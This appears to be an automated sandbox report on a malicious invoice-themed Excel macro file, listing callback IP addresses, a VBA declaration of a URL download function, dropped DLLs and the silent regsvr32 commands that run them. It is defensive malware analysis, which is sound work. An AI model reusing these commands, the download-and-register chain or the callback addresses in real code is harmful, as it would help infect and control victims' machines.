Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100/
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100/_
Source: regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100:3786/
Source: regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100:3786/&
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100:3786/XE
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://198.57.200.100:3786/hy
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://211.110.44.63/
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://211.110.44.63:5353/
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://211.110.44.63:5353/8
Source: regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140/
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140/M
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140/T
Source: regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140:3388/
Source: regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140:3388/7
Source: regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140:3388/C
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140:3388/JE
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://69.164.207.140:3388/hy
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: unknown Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49302
Source: unknown Network traffic detected: HTTP traffic on port 49265 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49288 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49300
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49222
Source: unknown Network traffic detected: HTTP traffic on port 49294 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49265
Source: unknown Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49220
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49264
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49263
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown Network traffic detected: HTTP traffic on port 49281 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49298 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49275 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49214 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49302 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49220 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49259
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49214
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49298
Source: unknown Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49251
Source: unknown Network traffic detected: HTTP traffic on port 49319 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49250
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49294
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49228 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49282 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49259 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49251 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49247
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49288
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49320
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49263 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49318 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49282
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49281
Source: unknown Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49239 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49319
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49318
Source: unknown Network traffic detected: HTTP traffic on port 49235 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49239
Source: unknown Network traffic detected: HTTP traffic on port 49250 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49314
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49235
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49275
Source: unknown Network traffic detected: HTTP traffic on port 49300 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49247 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49264 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49270
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown Network traffic detected: HTTP traffic on port 49314 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49229 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49320 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49307 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49270 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49307
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49229
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49228
Source: unknown HTTPS traffic detected: 64.37.52.172:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.83.81.27:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 198.136.54.91:443 -> 192.168.2.22:49184 version: TLS 1.2
Source: unknown HTTPS traffic detected: 192.185.224.50:443 -> 192.168.2.22:49191 version: TLS 1.2

System Summary:

barindex
Document contains an embedded VBA macro which may execute processes
Source: VBA code instrumentation OLE, VBA macro: Module Module1, Function Print_Sheet_MAin, API Run("MegaA_sp") Name: Print_Sheet_MAin
Source: VBA code instrumentation OLE, VBA macro: Module Module1, Function Print_Sheet_MAin, API Run("MegaA_sp") Name: Print_Sheet_MAin
Document contains an embedded VBA macro with suspicious strings
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE, VBA macro line: Private Declare PtrSafe Function PrintData_1 Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr ) As Long
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE, VBA macro line: Private Declare PtrSafe Function PrintData_1 Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr ) As Long
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE, VBA macro line: Private Declare Function PrintData_1 Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long ) As Long
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE, VBA macro line: Private Declare Function PrintData_1 Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long ) As Long
Found Excel 4.0 Macro with suspicious formulas
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: CALL
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: CALL
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: CALL
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: CALL
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\hknmwj[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gjeicn6u9[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\clh6qq[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\l3v7tq4[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\or3peb[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\regsvr32.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76D20000 page execute and read and write
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE, VBA macro line: Private Sub World_time_Print_Layout(ByVal Index As Long)
Source: VBA code instrumentation OLE, VBA macro: Module Sheet1, Function World_time_Print_Layout Name: World_time_Print_Layout
Document contains embedded VBA macros
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm OLE indicator, VBA macros: true
Source: classification engine Classification label: mal100.expl.evad.winXLSM@31/24@6/9
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$1_Total New Invoices-Thursday January 21_2021.xlsm Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE3D9.tmp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Virustotal: Detection: 27%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\kxwni.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\kxwni.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\uveoybvk.dll
Source: unknown Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\kxwni.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll
Source: unknown Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll
Source: unknown Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\jxacpz.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: unknown Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: unknown Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\uveoybvk.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\jxacpz.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/media/image2.png
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/media/image3.png
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/worksheets/_rels/sheet3.xml.rels
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings4.bin
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE summary subject = by C.H. Robinson
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

barindex
Registers a DLL
Source: unknown Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\kxwni.dll

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\hknmwj[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gjeicn6u9[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\clh6qq[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\l3v7tq4[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\or3peb[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\l3v7tq4[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\hknmwj[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gjeicn6u9[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\or3peb[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\clh6qq[1].zip Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\regsvr32.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
